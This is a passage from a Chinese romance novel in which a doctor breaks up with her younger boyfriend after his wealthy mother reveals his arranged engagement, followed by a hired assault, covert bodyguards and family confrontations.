刘姨悄悄出了房门,过了一会儿,端了一个茶盅进来:“太太,厨房刚煮的山药莲子茶,静心安神,我给您放这儿了。” 梁书琴坐下来喝了口茶,道:“刘姨,上次我把江明月的资料扔哪儿了?” 刘姨不太确定:“可能放在书房了?” 梁书琴说:“你再拿给我看看。”- 海大医学院一年一度的博士研究生毕业典礼如期而至。 江明月提前订了花束,花材是她亲自挑的,选了蓝色系的郁金香、蝴蝶兰、海芋花,搭配纯白的洋桔梗。花艺师审美不错,包得很漂亮。 江明月捧着花进了海大校园。 一群红袍博士穿过操场走了过来,气势压人。江明月第一次有了“天下英雄,如过江之鲗”的感觉。 正想去找沈归时,手机进来了一个电话。 来电显示是北城的号码。 江明月接诊过全国各地的患者,经常接到外地患者打来的咨询电话,她不以为意地接通:“你好。” “江小姐,是吗?”电话那头是个中年女人的声音,听上去并不友善,“我是沈归时的母亲。” 诈骗电话。 江明月直接挂断。 数秒之后,那个号码又打了过来。 江明月没接,直接掐了。 那个号码不依不饶,又打了第三次。 江明月不胜其烦,接起来就问:“怎么?清明节的时候,沈归时没给您烧够纸?” 电话里的女声静默几秒,大怒道:“你怎么说话的?会不会说话?果然是小门小户出身,真没教养!” 不是。 就算诈骗被识破了,也没必要破口大骂吧? 毕业典礼上午九点开始,现在已经八点半了。江明月没时间理会那么多,正要结束通话,又听那女人说:“你这样的女孩儿我见得多了。我告诉你,归时他是有未婚妻的,你少做梦了。想进沈家的门,你还差得远。” 江明月听得云里雾里,但还是捕捉到了一些关键字眼:“沈归时有未婚妻?” 这是什么新鲜的诈骗手法吗? 女人声线得意:“对,你没听错,他是不是没跟你说过?你应该知道,他只是跟你玩玩而已。江小姐,我劝你千万不要有什么不切实际的幻想,堂堂沈氏珠宝的二公子,不是你高攀得上的。” 江明月停下匆匆前行的脚步。 沈氏珠宝的二公子。 好像不是诈骗电话。 刹那间,她想起了那个下雪的晚上,他对那条粉钻项链背后的故事侃侃而谈的样子。还有去年他们在北城参加医学研讨会,当时那个酒店经理对他毕恭毕敬的态度。甚至还有他的履历表上,那个她没有留意的曾用名——王添。 现有的信息堆叠起来,构成了一个不可思议的荒诞猜测:“沈归时父母亡故后,你们沈家……收养了他?” 梁书琴冷笑:“你在说什么?什么收养?我是他亲妈!归时连身世都没跟你说过?呵,我还真是多虑了,看来他也没把你当回事儿。” 因为接电话,江明月一直把花束放在左侧臂弯。花束很重,她现在有点抱不动了,弯腰把花放到了路旁。 梁书琴接着说:“江小姐,你心里应该也清楚,你根本配不上归时。家世门第就不谈了,你的年纪还大。好好当你的医生,别来纠缠归时。当然,如果你还要痴心妄想,我也不拦你。反正归时将来的正房太太脾气好,能容人。” 江明月渐渐捋清了这件事,蹙着眉开始嘲讽:“你家是什么封建余孽?还讲究门第?还有正房太太?新中国的曙光是没有照进你家吗?你家还活在旧社会是吗?” 梁书琴怒不可遏,可能没见过江明月这种吵架路数,气得好半天都说不出一句话,只能干巴巴地痛斥道:“没教养!真没教养!你给我等着!” 江明月说:“行啊,我今天上门诊,我在诊室等着,你来找我之前记得把挂号费付了。” 梁书琴气得声音都不利索了:“你!你在医院受谁领导?我要找你领导投诉你!” “我受谁领导?”江明月心平气和地一笑,“我受党的领导。” 梁书琴忽然想起沈归时跟她说的那句——“我国法律规定婚姻自由,禁止包办婚姻。” 这俩人还真是…… 都这么爱上纲上线? 50-60 第51章 扔了 到此为止 距离九点还有十分钟。 沈归时和宋远一起走在去大礼堂的路上, 毕业典礼和学位授予仪式即将在学校大礼堂开展。 沈归时刚刚发消息问江明月到了没有,始终没收到回复。他也不知怎么回事,心里有点发空。 宋远忽然指向一个方向:“沈哥, 那不是江师姐吗?” 沈归时抬头望去。 还真是她。 柔顺长发披散, 珍珠白色的衬衫裙长度过膝,纽扣系到了最上面一颗。昨晚她说要跟他的博士袍合影, 在衣柜里挑了好久,才选出这么学院风的一身。 此时此刻, 她站在操场附近的一堵围墙下,微微低着头, 不知在想些什么。脚边放着一束蓝色系的花束。 围墙遍布青苔,一人高的砖瓦投出一个有棱有角的阴影, 将她笼罩其中。 宋远快步走过去打招呼:“江师姐!你今天怎么来了?是来看毕业典礼的吗?” 江明月缓慢地抬头,视线从宋远身上, 轻轻地挪到他旁边的沈归时身上。 他换了博士红袍,里面穿的是今天早上她给他搭配的白衬衫, 深红色领带。肩上挂着有校徽刺绣的绶带,帽子拿在手里还没戴上。挺拔隽秀,青春飞扬, 是她想像中的样子。 江明月道:“宋远你先走,我有话要跟沈归时单独说。” “啊?哦。”宋远有些奇怪, 一步三回头地走了。 沈归时看出江明月的脸色不太对,他走近了些,屈膝平视她的眸子,笑着问:“要跟我说什么?” 江明月冷静问道:“你瞒了我多少事?” 沈归时把这些天每一个生活细节都迅速回想了一遍,不太确定地说:“前天晚上我跟你说在加班,其实不是加班, 我是去帮卢老师整理会议材料了。因为材料涉密,我就没跟你说具体情况……” 江明月直截了当地问:“你是沈氏珠宝的二公子?” 沈归时脑中嗡的一声。他慌忙解释道:“我不是故意想瞒你的,是因为除夕那天,你说——” “我问你是不是。”江明月打断他。 沈归时供认不讳:“是。” 江明月继续问:“你有未婚妻?” 沈归时方寸大乱:“这个我一直没有同意——” “我问你有没有。” 沈归时不确定她知道了多少,也不太敢欺骗她,艰难地推挤出一个字:“……有。” 江明月点点头:“好,我知道了。限期你三天之内,从我的房子里搬出去。” 她平静得过分,轻轻推开沈归时,往前走了。 沈归时连忙追上去拉住她,先道歉:“对不起,是我不好,我不应该对你有所隐瞒。” 然后开始解释,“其实除夕那天,我是想跟你坦白的,但当时你说豪门是非多,你父母都不认可,我就一直没敢告诉你。至于未婚妻……是家里安排的,我也是前不久才知道的,我没有同意!真的我一直没有答应这个婚事!甚至他们订婚的时候我都不在场!” 最后表态:“我错了,我以后绝不以任何形式欺骗你。你别生气,好不好?” “你没错,是我错了。”江明月往后退了一步,把手从沈归时的手中抽出来,“我承认,在和你相处的过程中,一直是我在主导这段关系。我没有过多地去考虑你的想法,也没有真正尝试去了解你。是我的问题。” 她爱他身姿挺拔,爱他相貌端华,爱他风华正茂却沉稳有加,爱他出身寒门却坚韧不拔,爱他永远赤诚坦然地望向她。 但她现在也不太确定了。她爱的那个人里,到底有多少是真实的他。 更何况,他的亲生母亲都说了,她配不上。 沈归时脸色泛白,想伸手拥住江明月。后者躲开,沉声道:“别碰我。” 沈归时的手缩回去了,亦步亦趋地跟在江明月身边,看着她走出几步之后又折返,把墙边那束花捡了起来,扔进了不远处的垃圾桶。 江明月回头对他说:“别跟着我。就到此为止,好吗?” 沈归时嗓音涩然:“师姐……” 江明月转身就走,越走越快。 这时,一名身穿萤光背心的老师傅走了过来,将垃圾桶里的东西尽数倒进一旁的垃圾清运车,然后坐上清运车前方的驾驶位。 垃圾清运车缓缓驶远。 沈归时忽然疾步追了上去:“等等!师傅等等!” 垃圾清运车停了下来。老师傅带着口音问:“啥事儿啊?同学?” 沈归时撑着车的边沿,翻身上车,在垃圾堆里翻找。 老师傅愣了:“哎,你干啥呢!”他注意到这个年轻人还穿着一身博士袍,“同学,毕业典礼都开始了,你别在这儿捡垃圾了,快去大礼堂吧。” 沈归时置若罔闻。 老师傅连连摇头:“哎哟,这是在搞行为艺术还是真疯了啊。” 沈归时终于找到了那束蓝色的花。 花束包装上面夹着一张卡片,写着两行字。 【诚挚祝贺沈博顺利毕业!】 【余生相伴,携手并进】 字迹流畅飘逸,是江明月亲手写的。 但她——也亲手扔了- 江明月开车去医院。 她找手机开导航,发现手机里有十几个沈归时的未接电话。 她把号码拉黑。 半分钟后,沈归时的微信电话拨了过来。 江明月点进那个头像,选中“加入黑名单”,确认。 到医院之后,她先去了趟洗手间。 水龙头开得哗哗作响。 她低头洗手,看见右手小臂内侧那道浅浅的疤痕。 当初缝合得很漂亮,疤痕是一条平直的短线,比周围的肌肤更加白一些。 痕迹浅淡,不细看的话完全看不出来,就像从来没有受过伤。 江明月盯着这条疤痕,控制得很好的情绪忽然决堤,大颗的眼泪悄无声息地滴落,滑到水池里,被源源不断的自来水冲进了下水道。 她想起以前老师说过,流泪是一种生理反射,可以不受大脑的控制。 确实啊。 她的大脑命令她不要再哭了,一点用都没有- 许久,江明月收拾好情绪,回科室换衣服。 罗薇随口问道:“明月,你不是请了一天年假吗?怎么来上班了?” “不请了。”江明月原计划是上午去看毕业典礼,下午陪沈归时在学校内拍些照片留念,现在已经全无必要了,“薇姐,帮我做个销假。” “好勒!”罗薇爽快应承,把销假单打出来给江明月签字,“你眼睛怎么这么红?有炎症吗?” 江明月眨了几下眼:“可能是盯着电脑看的时间太长了,没事的。” 没事的,没事的- 这天下班,江明月去停车场取车,远远看见一个熟悉的背影守在她的车子旁边。 她今天加了将近两个小时的班。她不知道他已经在这里等了多久。 她顿住脚步,在他发现自己之前,转身走远。 车不要了。她打车回家。 路上,生殖科小群弹出一条消息。 【郑观海:今年的下乡开始了,科里有一个名额,谁去?】 江明月点了几下手机屏幕。 【江明月:我去。】 下一秒,郑观海的电话就打过来了:“小江,我打听过了,今年下乡要去南方一个比较偏僻的县城,条件比较艰苦啊。” 江明月轻轻道:“嗯。” 郑观海还是比较想把江明月留在科里做事的。他又道:“而且那边县级医院没有生殖科,你去的话,可能会把你安排到急诊或者妇产科。小江,你再考虑一下,以后会有更合适的下乡机会。” “主任,我明白您的意思。”江明月坚持道,“我想去。” 她想换个工作环境。 她想……避开他。 郑观海妥协道:“好吧,你想去就去吧。去一趟也好,有了下乡经历,以后晋升用得上。”- 到家时,父母刚刚吃完晚饭。 孙静惊讶道:“月月,你怎么回来了?晚饭吃了没有?” 江明月换鞋洗手:“还没吃。” 孙静道:“家里有山药骨头汤,我帮你微波炉转一下。你今天怎么回来住了?” 江明月说:“嗯……过几天我就不在海城了,要去下级医院工作一年,我想……多在家里陪陪你们。” 江峰问:“月月,我怎么觉得你嗓子有点哑?是不是感冒了?” “没有……”江明月忽然哽咽。 “哎,不哭不哭。是不是舍不得爸爸妈妈?”江峰走过去拍了拍江明月的后背,鼓励道,“没事的,不就是出去工作一年吗?以我们家月月的工作能力,那还不是手到擒来?爸爸妈妈也不可能一直陪伴你呀,但我们永远是你的后盾,你要是在外面闯累了,随时可以回来依靠我们。” 江明月抱着江峰宽厚的肩膀,埋头痛哭。 江峰冲孙静使了个颜色。孙静走过来问:“月月,是不是你不想去那个下级医院,你们领导强迫你去啊?” 江明月抬起脸:“不是……是我自己想去。” “想去就去!不管你想干什么,爸爸妈妈都支持你。”孙静拿纸巾给江明月擦了擦脸,“骨头汤热好了,快来吃。” 江明月吸了吸鼻子:“好。” 第52章 割舍不下 爱人之间的心灵感应 江明月缓了两天, 把自己即将远走海城、南下工作的事告诉了崔晚晚。 对方秒回了一个流泪青蛙头表情包。 【崔晚晚:你不能走!你走了,我的吃饭搭子、逛街搭子就没有了!】 【江明月:你找宋远。】 【崔晚晚:男人靠不住!你别走!月子,没有你我怎么活啊!】 【江明月:我又不是不回来了。】 【崔晚晚:这周末, 必须去一趟酒吧!我要为你践行!】 【江明月:不去。】 【崔晚晚:清吧!】 【江明月:不想去。】 崔晚晚久久没有回复。江明月本以为这事儿就这么算了, 手机又冒出一条新消息。 【崔晚晚:我跟宋远分手了。你陪陪我好吗?】- 周日晚上。 地方是崔晚晚挑的,一家环境优雅的小酒馆。氛围灯昏黄而温暖, 几名民谣歌手在酒馆一角弹着吉他驻唱。 崔晚晚把服务生叫过来,点了一杯烈酒, 转头问江明月:“你喝什么?” 江明月说:“橙汁,加冰。” 崔晚晚惊奇:“谁来酒吧会点橙汁啊?” 江明月道:“你喝吧, 我就不喝了。你放开了喝,喝醉了我带你回家。” “感动!姐妹就是比男人靠谱!” 服务生送上一杯鸡尾酒和一杯冰橙汁。 崔晚晚一口气炫了半杯酒, 随后托着腮望向江明月:“你知道吗?我跟宋远分手了。” 江明月说:“我知道,你跟我说过。” “你就没有什么安慰我的话吗?” “别难过, 分别是人生的常态。” “你这算什么安慰。”崔晚晚将剩下半杯酒也喝完了,招手让服务生再来一杯, “你怎么不问我为什么分手?” 江明月配合道:“那你们为什么分手?” “因为他不愿意留在海城,他要回他家乡工作。”崔晚晚絮絮叨叨地讲了起来,“我跟他说了我不接受异地恋, 如果他离开海城,我们就分手。但他还是决定要走……他说他在海城找不到工作, 如果要留下来,就只能进站读博后,但如果他回自己的家乡,他就能直接工作,可以入职一家很好的大型医院,还能拿人才补贴。” 服务生送来了酒, 崔晚晚一饮而尽,眼神迷濛地问:“明月,他是不是在骗我啊?他都医学博士了,在海城找个工作很难吗?” “很难。”江明月慢慢道,“海城最不缺的就是博士。如果拿不出像样的文章,确实留不下来。每年那么多博士毕业生,能顺利留院的只是凤毛麟角。” 这就是海城地区应届医学博士的现状。 能留下来工作的只是极少数。大部分都要再读本院的博士后,白天干临床,晚上做科研。如果不留海城,去一些二三线城市,博士头衔还是很珍贵的,大多数都能有一个相当不错的待遇。 所以要么走,要么苟。 即便顺利留院工作了,也不意味着一劳永逸,只是走上了一条更卷的赛道。 江明月想起了某个留下来的人。 她沉闷地喝着橙汁。 崔晚晚苦涩道:“所以宋远他……在工作和我之间,选择了工作。他根本就不在乎我……” 江明月说:“别想那么多。既然分开了,就不要再惦记了。” 崔晚晚拽着江明月的胳膊摇来摇去:“你说得轻松!要是分手的是你,你还能这么冷静吗?” 驻唱的民谣歌手唱出舒缓轻和的音调。 温柔的吉他声中,江明月垂着眼眸,像是在跟自己说:“我能。我相信时间和距离会让我忘了他的。” 崔晚晚惆怅不已:“好吧。”她酒意上头,开始指天立誓,“我发誓我以后再也不谈男大了!一毕业就分手,真吃不消。” 江明月端着玻璃杯,正准备喝,忽然发现杯子里的橙汁已经喝完了,只剩下一堆方方正正的冰块,占了玻璃杯三分之一的容量。 冰块折射出酒吧的灯光,仿佛构筑了另一个虚无的霓虹世界。 江明月搁下杯子,轻轻牵了下唇角,像是在自嘲- 崔晚晚的酒量相当好,一般不会喝醉。 但今天她明显醉了。可能是因为江明月承诺了要带她回家,她毫无后顾之忧,便放纵自己大醉一场。 江明月结了帐,拖着崔晚晚往酒馆外面走。 崔晚晚脚步虚浮,将大半身体的重量压在江明月身上。江明月单手揽着她,另一只手腾出来找手机打车。 几名彪形大汉悄无声息地朝她们俩围聚过来。 夜深了,街上很安静,这几个人出现得格外突兀。 其中一个壮汉翻出手机相册,对比之后,冲旁边几人点了点头。 一名个头较高的男人快步上前,狠狠推了一把江明月。 江明月猝不及防,险些摔倒,向后踉跄几步才站稳,后背重重地磕在酒馆的外墙上,痛得她轻轻吸气。 失去搀扶的醉鬼崔晚晚摇摇欲坠,江明月顾不上后背的疼,迈步上前扶稳崔晚晚,抬眸看着几名突然出现的壮汉,冷声问:“你们是谁?” 没人回答她,而是纷纷捏着拳头上前。 就在这时,不远处的树丛里窜出了两道黑色人影,飞奔过来,冲着这几名壮汉拳打脚踢。 江明月看得眼花缭乱,赶紧拖着崔晚晚往边上躲。 那两个黑衣男人迅速将所有壮汉撂倒。其中一个方脸朝江明月走了过去。 江明月扫了眼周边的地形,往后退到一个监控的下方。 方脸紧张地搓了下手,小心询问:“江小姐,您还好吧?” 江明月有些反应不过来:“你们又是谁?” 另一个圆脸走过来说:“我们是林总派来……” 方脸猛地拿胳膊肘撞了他一下,把话接过来:“保护您的,呵呵,是林总派来保护您的。” 江明月不记得自己认识哪位“林总”,想了一会儿才迟疑问道:“林逸?” 两名保镖猛点头- 远在北城的沈归时从睡梦中惊醒。 他猛地坐了起来,惊魂未定地大口呼吸。下意识地去拿床头柜上的手机,想给江明月打个电话。 意识逐渐回笼,他想起自己已经被江明月拉黑了,根本打不通她的电话- 毕业典礼那天晚上,他在江明月的车子旁边枯等到了半夜,她始终没有出现。 那时他终于确定,她不想再看见他了,一点余地都不给,就是要彻彻底底地把他从生命中剥离。 那个夜晚,他游魂一样回到了海城名邸,脑中始终回荡着她那一句“限期你三天之内,从我的房子里搬出去”。 他不想搬。他很清楚,如果搬出去了,他和她最后一点联结也没了。 事实证明他也搬不了——第二天,一夜未眠、忧思缠身的沈归时高热不退,连站起来的力气都没有。 他吃了退烧药,恢复了一些体力。然后向医院请假,飞回北城。 江明月不会平白无故知道他的身世。这事儿肯定和张罗着给他订婚的梁书琴脱不开关系。 在飞机上,他的体温又升上去了。他一路硬撑到北城的家中,当面质问梁书琴:“你是不是私下找过我女朋友?” 这就是沈归时到家之后说的第一句话。 梁书琴气得要命:“你千里迢迢地赶回来,就为了问这个?” 沈归时定定地望着她:“是不是?” 梁书琴没有承认,神情鄙薄:“我找她?她配吗?” 沈归时浑身虚脱,晕了过去,脸色惨白地倒在了花纹繁复的地毯上。 梁书琴花容失色,连忙喊来家庭医生。 家庭医生一检查,体温40度,赶忙给沈归时打退热针。 接下来的几天,沈归时反覆高热。像一只痛失爱侣便要自我了结的大雁。 家庭医生都怀疑他得了肺炎,趁他昏睡的时候,采了他的指尖血,验了血常规,也没发现什么异常。 梁书琴来看过他几次,发现他睡梦中都在低声念着什么,靠近了听,才听清他在喊“师姐”- 就在刚刚,沈归时梦见江明月受伤了。 他摸了摸心脏的位置,那里空落落的一片。 沈归时翻身下床,走出房间。 门外的家庭医生诧异地望过来:“二少爷,你醒了?” 家庭医生不敢置信。今晚给沈归时吃的药里面有助眠的成分,按理说他不可能这么快醒过来。 沈归时没理他,迳直往楼下走。 家庭医生赶忙去喊梁书琴。 沈归时的房间在三楼。走到二楼拐角时,他被梁书琴叫住:“你去哪儿?” 沈归时说:“我回海城。” 他想见她。哪怕远远地看一眼……只要能确认她的安好。 “你给我站住!”梁书琴喝道,“你回海城干什么?” 沈归时脸色奇差:“我梦见她……受伤了。” 梁书琴神色一滞。 她当然知道沈归时口中的“她”是谁。 因为江明月对她出言不逊,她实在气不过,就安排了几个打手,打算给江明月一点教训。今天晚上,那几个打手的头儿给她传信,说准备行动。估计这会儿江明月都被打进医院了。 没想到沈归时会梦见。 难道爱人之间真的会有心灵感应吗? 梁书琴的心头冒出了这个诡异的念头。很快就被她自行否认——他们算什么爱人。 沈归时又往下走了半层楼。 梁书琴道:“沈归时!我让你站住你没听见吗?你再走一步试试!” 几名保姆探头出来,看到主家母子俩对峙的情景,又把脑袋缩了回去。 二楼卧室的沈元姝听见动静,匆忙跑了出来。 她一直在国外读书,今天刚好休假回国。下午才到家,时差还没倒过来,现在精神正好,一点不困。 “妈,出什么事了?”沈元姝看见梁书琴怒气冲冲的样子,劝道,“哥哥病着呢,您别跟他计较。” “我看他不是病了,是鬼迷心窍!为了个女人要死要活的。”梁书琴冷哼,转头看沈归时,“我实话告诉你,我确实联系过你那个好师姐,江明月。” 沈归时僵硬地抬头,问她:“什么时候?” 梁书琴道:“我哪记得是什么时候?”她回想了一下,不以为意道,“就你回来的前一天。” 是毕业典礼那一天。 沈归时终于把一切都串起来了。 梁书琴吊着眉梢问:“你怎么不去问她?” 沈归时一脸的苦涩和恍惚:“她不肯见我。” “算她识相!”梁书琴总算露出了些许满意的神色,“不枉我费那么多口舌警告她。” “你警告她?”沈归时追问,“你警告她什么了?” 梁书琴傲慢地抱臂:“我让她不要有非分之想,沈家不是她高攀得起的。她一个暴发户出身的,年纪也那么大了,哪里比得上秦菲?” “你……是跟她这么说的?” 沈归时的心脏像是被人剥洋葱一般,一瓣瓣地撕了开来。心疼得无以复加。 她那么骄傲的一个人…… 她那么骄傲的一个人! 沈元姝回来之后就听说沈归时和一个叫秦菲的女孩儿订婚了,正奇怪他怎么跟江明月分了。这会儿在旁边听了半天,已经猜到了始末。 沈元姝惊道:“妈!你怎么能这么说江医生!江医生真的是个很好的人!” 梁书琴不由问:“怎么?你认识她?” “她救过我。”沈元姝嗫嚅道,“救过我的命。” 另一边,沈归时已经冲到了一楼,直奔大门。 梁书琴顾不上问沈元姝怎么回事,长长的甲片指向沈归时:“你今天敢踏出这个门,以后就再也别回来了!” 沈归时脚步不停,头也不回。 倒是沈元姝急急忙忙地跑过去拉住沈归时:“哥哥!这么晚了,你去哪儿啊!” 梁书琴冷笑:“他要回海城!你让他走!我就当没生过这个儿子!以后沈家没他这个人!” 沈归时闻言回首。 梁书琴舒了一口气。浪子回头,为时不晚。 但下一秒,她就听见沈归时认真地说:“妈,谢谢你的生育之恩,也谢谢你把我认回沈家。但是——你们沈家门阀显赫,我也高攀不起。” “也”? 梁书琴咬紧牙关:“你说这些是什么意思?想和我断绝关系?真不想当沈家人了是吧?你知道沈家能给你提供多少庇护吗?别的不说,你每个月能从信托账户里领多少钱你知道吗?” 她刚刚说的那些话,都是气话。沈归时毕竟是她亲生的,她怎么可能真的让他离开沈家。 沈归时平静道:“您放心。我现在有学历,有能力,有工作。不依靠沈家,我一样能安身立命。” 梁书琴气急败坏:“就为了江明月?你连家都不要了?她就这么让你割舍不下吗?” 沈归时轻声道:“怎么可能割舍。” 他的专业方向,他的职业选择,他将近一半的人生,全部和她有关! 怎么可能割舍! 那是他年少时的执念,亦是他年长后的渴求。 是他从仰望到靠近,终于拥入怀中的—— 江明月! 第53章 分手 好一个教她做人。 沈元姝夹在母亲和兄长之间左右为难。最终她清了清嗓子, 先把看起来更为镇定沉着的沈归时劝了下来:“哥哥,你现在还不能走!你和秦菲还有婚约,你至少要把婚退了再走!我知道你想去找江医生, 但你不能以别人的未婚夫的身份去见她!那也太不尊重她了!” 沈归时神色松动。沈元姝又悄悄说:“哥哥, 你先养病,等病好了我跟你一起去海城, 万一江医生还是不愿意见你,我去帮你跟她解释。” “……谢谢。”沈归时同意了。 沈元姝又跟梁书琴说起那次心脏骤停的遭遇, 一脸后怕:“妈,要不是江医生, 我就再也看不到您了!您也别计较江医生的家世和年龄了,什么高攀不高攀的, 难道我的救命恩人,也不配进沈家的门吗?” 梁书琴轻哼, 一言不发。 历经今夜,梁书琴算是看出来了, 沈归时宁可断绝关系,也不会放弃江明月。 她心里不满,但此时此刻, 也只好顺着沈元姝修的台阶走下来- 翌日是个周一。 一大早,管家跑来跟沈归时说:“二少爷, 您今天要是有时间,就去一趟董事长那里。” 沈归时便问:“是有什么事吗?” 管家笑而不语。 沈归时吃过早饭,就去探望沈老爷子。 沈家这个位处京城的庄园是沈老爷子早年间置办下来的产业,占地极为广阔。当年沈老爷子相中这里风景绮丽,也没计较这地方偏远,托人费心设计了一个偌大的花园。 后来, 随着城市日新月异的发展,这地段也被并入中心城区,周围一公里内商圈云集,摩天高楼鳞次栉比。现如今,整个庄园称得上是闹中取静,颇有大隐隐于市的味道。 沈老爷子早几年前随长房一家一同住在主宅,后来年纪上来了,就搬去了一处更为幽静的小楼。 小楼在沈家庄园的最东侧,距离稍远,步行要二十分钟,不过可以坐电动高尔夫球车过去。小楼只有两层,装了电梯,适老化做得很好,墙面上加装了很多扶手,地板上通铺地毯防滑,三组全科医生24小时轮流值班。 沈老爷子正在看报纸。每天清晨读书看报,是他由来已久的习惯。他戴着一副老花镜,手指一行行地划过报纸上的印刷字,显然正在逐字逐句研读。 看到沈归时来了,沈老爷子放下报纸,摘下老花镜。旁边的管家递上一个眼镜盒,沈老爷子接过来,将老花镜折叠好,放进了盒子。 他同沈归时说:“你跟我上来。” 祖孙二人进了电梯。到二楼之后,沈老爷子走进书房,见沈归时没跟进来,便朝他招了招手。 沈归时也进了书房。 沈老爷子示意他把门关上,随后才问:“听说你昨晚跟你妈妈吵架了?” 听说。 沈归时细品着这两个字,顿时明白沈老爷子虽然偏居一隅,但对整个家里发生的事一清二楚。 沈归时在想怎么回答比较合适。沈老爷子又问:“因为一个女人?” 沈归时坦然点头:“她叫江明月。” 她有名有姓,是他的爱人。 沈家小辈多,沈归时又很少回来,沈老爷子对他原本并没有什么特别的印象,只知道这孩子命不好,从小流落在外,养父养母都因为车祸相继离世了。 直到那次沈老爷子突发心梗,沈归时挺身而出,在手术通知书上签了字,这孩子才终于在他心中留下了浓墨重彩的一笔。 有孝心,敢担当,头脑也聪明,是个踏实可靠的好孩子。 沈老爷子不止一次地想过,如果沈归时没有学医,而是接受他的安排学习商科,毕业后进集团工作——到那时,他和他大哥沈归晏联手,也许会把沈家的商业版图扩张到一个不可思议的地步。 “你当初坚持要学医,是不是因为她?” “是。” 沈老爷子笑了起来:“这么多年了,你也真够长情的,比你亲爹强。” 沈归时的生父是沈家长子,却不学无术,常年流连在不同国度的温柔乡,梁书琴已知的情人就有不下十个。后来沈老爷子看大儿子实在扶不起来,才专心培养长孙沈归晏。 谈及长辈,沈归时适时地保持沉默。 沈老爷子指了指书房角落的保险箱,“左20,三圈,右50,两圈。去打开,上面那层有个盒子,你拿出来。” 沈归时依言打开保险箱。匆匆扫了一眼,保险箱分为上下两层。下面那层放着一些文件,上面那层有一个四四方方的实木盒子,又大又沉。 沈归时把实木盒子拿了出来,放到沈老爷子面前的书桌上。 沈老爷子把盒子往沈归时的方向推:“给你了。”见沈归时茫然,他又道,“打开看看。” 沈归时打开盒子精致的锁扣。 原来是个首饰盒。里头是一整套帝王绿首饰。翡翠珠子项链,蛋面的戒指和耳坠,圆条手镯。 不知道是不是从同一块原石上切下来的,种水都极好,翠色深浓统一,光感莹莹。 沈归时也没多问,合上盖子,说:“谢谢爷爷。” 沈老爷子没想到这么贵重的东西摆出来,沈归时也不假意推辞一下,二话不说就收了。 倒挺会为他那个心上人攒好东西的。 沈老爷子悠悠地问:“你就这么收了?” 那不然呢? 沈归时忖度两秒,把盒子里那对耳坠拿了出来:“这个不用,她没有耳洞。” 沈老爷子失笑:“你这辈子都不换人了?” 沈归时笃定道:“下辈子也不换。” 沈老爷子大笑:“什么时候把人带回来,让我看看。” 沈归时心想——那得看她愿不愿意了。 他拿出手机,给沈老爷子看锁屏壁纸:“您先看看照片。” 沈老爷子戴上老花镜,仔细端详。 屏幕上的女孩儿笑容舒展,长相明艳大气。 沈老爷子暗暗点头,将翡翠耳坠放回首饰盒:“收好了!单件和成套的,价值能一样吗?” 沈归时听话地点头。 手机屏幕暗了下去。沈老爷子把手机还给沈归时,问他:“你说说,她是个什么样的人?” 江明月是什么样的人? 那个瞬间沈归时想到了很多词——她温柔、善良、落落大方,她聪慧、敏锐、学识一流——无数具象的描述堆叠出一道明媚自信的人影,亭亭玉立于学校礼堂的演讲台前。 沈归时脱口而出:“她会发光。”- 与此同时。 成雷拿着pad进了林逸办公室,详细沟通了接下来一周的工作安排,末了,才道:“林总,还有一件事要跟您汇报。” 林逸淡声道:“你说。” 成雷道:“昨天晚上,江小姐遭到几名专业打手的袭击,好在之前派去盯着江小姐的保镖及时出手,江小姐只是受了轻伤。” 林逸不悦:“昨天晚上发生的事,你到现在才告诉我?” “昨天晚上时间太晚了,怕打扰您休息……”成雷说到一半顿住,转而道,“以后有关江小姐的事,一定第一时间向您汇报。” 林逸问:“谁打她?查到了吗?” “那几个打手什么都不肯说。不过领头的那个人在两天前收到了梁书琴的汇款。” 林逸拧眉。 “还有……江小姐已经知道那两名保镖是您派去的了。” “她什么反应?” “当时江小姐叫的车到了,她没说什么,上车走了。” 成雷把昨晚种种细节如实告诉了林逸,又问:“林总,要不要让那两个保镖再跟江小姐好好解释一下,万一江小姐误会您一直在监视她。” 虽然……事实如此。 “不用。”林逸轻轻笑了起来,“按她的性格,她还会感谢我。”- 距离毕业典礼那天,已经过去了整整一周时间,江明月认为自己的生活回到了正轨。这段时间医院很忙,她心里只有工作,也顾不上想别的事。 中午休息时,江明月给林逸打了个电话。 “林先生。”她寒暄道,“最近过得顺利吗?” 她本来想问林逸那个病治好了没有,又觉得有些冒昧,所以换了一句寻常的问候。 成雷刚好提着午餐进办公室,看见自己老板慵懒地靠上了椅背,笑意分明:“非常顺利。” 江明月说:“昨天晚上,我和我朋友遇到了一点状况,还好有你的人在场,帮忙解决了。” 林逸道:“嗯,听说你受伤了?” “后背稍微有点挫伤,擦点药就行。”江明月把话题绕回来,“昨晚那两个人说……他们是你派来保护我的?” 话里带着不解和探究。 她打这通电话,就是为了问这个。 林逸顺势解释:“是这样,之前听伯父说过,你工作辛苦,下班比较晚,一个女孩子走夜路比较危险。刚好我前几天签了一个安保公司,里面有几名保镖的身手很不错,我就让他们空闲时顺便保护一下你的人身安全。我也没想到,真的能派上用场。” 成雷都想为自家老板鼓个掌了。 这轻描淡写的口吻,这自然而然的语气,这有理有据的说辞——根本挑不出破绽。江小姐肯定猜不到,那两个保镖跟了她不是短短几天,而是已经将近一年了。 “这样啊。” “之前你给我弟弟找了一个专业的儿科医生,我一直没能好好感谢你。这次给你请保镖,我怕你又不接受,就没有事先跟你说。”林逸合情合理地圆上这件事,十分正人君子地询问,“明月,是我自作主张了,你应该不介意吧?” “啊,不介意……谢谢你啊。”江明月果然道谢,“昨晚还挺惊险的,我朋友喝醉了,我正准备送她回家,忽然来了几个人把我们围起来了,气势汹汹的,我还真不是他们的对手。” “哦,那几个人是沈家雇的打手。”这么重要的信息,林逸当然不会让江明月错过。 江明月呼吸一滞:“哪个沈家?” 林逸耐心地跟她讲:“沈氏集团,主营业务是卖珠宝首饰的。对了明月,一直忘了问你,你男朋友是不是叫沈归时?他好像是沈家的二少爷。” “你怎么知道……” 看来她已经知道了。 林逸继续套话:“他有个未婚妻,是我一个朋友的外甥女,所以我刚好有所耳闻。抱歉……他有未婚妻的事你知道吗?” 短暂的沉默后,江明月说:“我知道……前不久刚知道。”她闭上眼,冷淡道,“不过不重要了,我们已经分手了。” 林逸望向窗外。 天朗气清。办公室所在的楼层极高,轻盈柔软的云朵就浮在落地窗畔,仿佛触手可及。 他稍稍收了些笑意,安慰道:“分手了也好,沈家似乎也不太认可你——那几个打手,应该是沈二少爷的母亲派来的。” 江明月想起一周前,那个自称是沈归时母亲的人在结束通话前沉声说:“江小姐,虽然你没什么教养,但我不介意教你做人,你好自为之。” 